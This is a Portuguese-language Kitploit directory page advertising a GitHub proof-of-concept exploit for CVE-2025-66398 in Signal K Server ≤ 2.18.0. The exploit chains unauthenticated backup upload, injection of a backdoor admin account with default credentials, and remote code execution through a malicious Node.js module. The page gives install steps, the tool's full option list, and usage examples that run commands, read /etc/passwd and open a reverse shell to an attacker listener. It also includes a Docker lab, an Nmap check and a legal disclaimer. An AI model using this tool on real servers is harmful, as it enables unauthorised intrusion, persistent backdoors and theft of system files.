Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2025-66398 — CVE-2025-66398 — PoC de RCE no Signal K Server ≤ 2.18.0 | Kitploit
Ferramentas/GitHubGitHub/joshuavanderpoll/cve-2025-66398
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoComando e ControleAprendizado e EducaçãoRed TeamingFerramenta de Acesso RemotoDesenvolvimento de PayloadsLabs e Prática
GitHubjoshuavanderpoll/cve-2025-66398
2há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

cve-2025-66398

CVE-2025-66398 — PoC de RCE no Signal K Server ≤ 2.18.0

Ver RepositórioSite

CVE-2025-66398 — PoC de RCE no Signal K Server

Go Python Nmap

📜 Descrição

A CVE-2025-66398 é um problema no Signal K Server em que um atacante não autenticado pode envenenar o estado de restauração do servidor por meio de /skServer/validateBackup e, em seguida, sequestrar a configuração via /skServer/restore para injetar uma conta de administrador backdoor e (opcionalmente) obter RCE ao alterar a estratégia de segurança para um módulo Node.js controlado pelo atacante.

Versões afetadas: Signal K Server ≤ 2.18.0

Impacto (em alto nível): poluição de estado não autenticada → injeção de administrador backdoor → execução remota de código (quando ocorre uma restauração + reinicialização)

✨ Recursos

  • Verificação de vulnerabilidade — Testa se /skServer/validateBackup aceita envios não autenticados.
  • Script Nmap NSE — http-signalk-cve-2025-66398.nse pronto para uso em varreduras de rede (somente verificação, sem exploração).
  • Fluxo de exploração interativo — Conduz você pelas 3 fases e solicita credenciais/caminhos.
  • Modo não interativo — Execute a cadeia completa com flags (verificação, execução de comandos, leitura/gravação de arquivos, reverse shell).

🛠️ Instalação

Python

OSX/Linux

root@kitploit:~
git clone https://github.com/joshuavanderpoll/cve-2025-66398.git
cd CVE-2025-66398
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt

Windows

root@kitploit:~
git clone https://github.com/joshuavanderpoll/cve-2025-66398.git
cd CVE-2025-66398
python3 -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt

GoLang

root@kitploit:~
git clone https://github.com/joshuavanderpoll/cve-2025-66398.git
cd CVE-2025-66398
go build -o exp cve-2025-66398.go

Instalar diretamente com Go

root@kitploit:~
go install github.com/joshuavanderpoll/cve-2025-66398@latest

Executar sem instalar

root@kitploit:~
go run github.com/joshuavanderpoll/cve-2025-66398@latest -target http://127.0.0.1:8111

⚙️ Uso

Este PoC tem dois modos:

  • Interativo (padrão): prompts guiados + um pequeno menu.
  • Não interativo: passe flags como -check, -command, -read-file, etc. (Recomendado somente após o primeiro modo interativo bem-sucedido)

Ajuda / opções

root@kitploit:~
python3 cve-2025-66398.py -h
# ou versão GoLang
./cve-2025-66398 -h
                ___ __ ___ ___      __   __ _______ ___ 
  ____ _____ __|_  )  \_  ) __|___ / /  / /|__ / _ ( _ )
 / _\ V / -_)___/ / () / /|__ \___/ _ \/ _ \|_ \_, / _ \
 \__|\_/\___|  /___\__/___|___/   \___/\___/___//_/\___/
                                                        
  https://github.com/joshuavanderpoll/cve-2025-66398

usage: exp.py [-h] [-target URL] [-useragent UA] [-timeout SEC] [-target-os OS] [-signalk-dir DIR] [-check] [-admin-user USER] [-admin-pass PASS] [-backdoor-user USER] [-backdoor-pass PASS] [-command CMD]
              [-read-file PATH] [-write-file CONTENT PATH] [-code CODE] [-shell] [-lhost HOST] [-lport PORT]

CVE-2025-66398 -- Signal K State Pollution -> Backdoor -> RCE

options:
  -h, --help            show this help message and exit
  -target URL           Base URL of the Signal K server
  -useragent UA         User-Agent header for all HTTP requests
  -timeout SEC          Request timeout in seconds (default: 10)
  -target-os OS         Target server OS for payload/path adaptation: linux (default) or windows
  -signalk-dir DIR      Override the Signal K data directory on the target (default: OS-dependent)
  -check                Test if the target is vulnerable without exploiting it
  -admin-user USER      Admin username for Phase 2 restore
  -admin-pass PASS      Admin password for Phase 2 restore
  -backdoor-user USER   Backdoor username to inject (default: backdoor)
  -backdoor-pass PASS   Backdoor password to inject (default: H4CK1nd3x!)
  -command CMD          Execute a command on the server (non-interactive)
  -read-file PATH       Read a remote file via RCE
  -write-file CONTENT PATH
                        Write CONTENT to PATH on the server via RCE
  -code CODE            Inject raw Node.js code as the security module
  -shell                Deploy a reverse shell (requires -lhost and -lport)
  -lhost HOST           Listener host for reverse shell
  -lport PORT           Listener port for reverse shell

Verificação rápida (segura)

root@kitploit:~
python3 cve-2025-66398.py -target http://127.0.0.1:3000 -check
# ou versão GoLang
./cve-2025-66398 -target http://127.0.0.1:3000 -check

Verificar vulnerabilidade

Verificação com Nmap NSE

Um script Nmap independente está incluído e realiza a mesma sondagem não autenticada — sem exploração.

root@kitploit:~
# Contra uma porta Signal K conhecida
nmap -p 3000 --script ./http-signalk-cve-2025-66398.nse <target>

# Instalar em todo o sistema e executar sem caminho
sudo cp http-signalk-cve-2025-66398.nse $(nmap --datadir)/scripts/
sudo nmap --script-updatedb
nmap -p 3000 --script http-signalk-cve-2025-66398 <target>

Exemplo de saída:

root@kitploit:~
PORT     STATE SERVICE
9360/tcp open  unknown
| http-signalk-cve-2025-66398: 
|   state: VULNERABLE
|   title: Signal K Server Unauthenticated Backup Upload leading to RCE
|   IDs: CVE-2025-66398
|_  references: https://github.com/joshuavanderpoll/cve-2025-66398  |  https://www.cve.org/CVERecord?id=CVE-2025-66398

Exploração interativa (guiada)

root@kitploit:~
python3 cve-2025-66398.py -target http://127.0.0.1:3000
# ou versão GoLang
./cve-2025-66398 -target http://127.0.0.1:3000

Script interativo

O script irá:

  1. Fase 1 — Poluição de Estado: enviar um .backup malicioso para /skServer/validateBackup (sem autenticação)
  2. Fase 2 — Sequestro de Configuração: autenticar como administrador e acionar /skServer/restore
  3. Fase 3 — RCE: enviar um segundo backup que aponta a estratégia de segurança para um módulo malicioso, acionar a restauração, reiniciar e então executar seu comando / shell

Exemplos não interativos

Execute a cadeia completa (Fases 1 → 3) e execute um comando:

root@kitploit:~
python3 cve-2025-66398.py -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -command "id"
# ou versão GoLang
./cve-2025-66398 -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -command "id"

Execução de comando

Ler um arquivo remoto (Fase 3):

root@kitploit:~
python3 cve-2025-66398.py -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -read-file /etc/passwd
# ou versão GoLang
./cve-2025-66398 -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -read-file /etc/passwd

Ler arquivo

Reverse shell (Fase 3):

root@kitploit:~
nc -lvnp 4444

python3 cve-2025-66398.py -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -shell -lhost <YOUR_IP> -lport 4444
# ou versão GoLang
./cve-2025-66398 -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -shell -lhost <YOUR_IP> -lport 4444

Reverse shell

Observações:

  • Se você não informar -admin-user/-admin-pass, o script assume que a conta backdoor já está ativa de uma execução anterior.
  • As credenciais padrão do backdoor são backdoor / H4CK1nd3x! (substitua com -backdoor-user / -backdoor-pass).
  • A Fase 3 precisa do diretório de dados do Signal K. O script tentará detectá-lo automaticamente durante a Fase 2; se não conseguir, informe -signalk-dir <DIR>.

🐋 PoC com Docker

Um ambiente Docker Compose autossuficiente com o software vulnerável para testes locais. Consulte DOCKER.md para mais detalhes

root@kitploit:~
cd docker/
docker compose up -d
python3 ../cve-2025-66398.py -target http://127.0.0.1:9360 -check
python3 ../cve-2025-66398.py -target http://127.0.0.1:9360

🕵🏼 Referências

  • Signal K Server
  • NVD — CVE-2025-66398
  • HackIndex.io — CVE-2025-66398

📢 Aviso Legal

Este PoC é exclusivamente para testes de segurança educacionais e autorizados. Não o execute contra sistemas que você não possua ou para os quais não tenha permissão explícita para testar.

Baixar ferramenta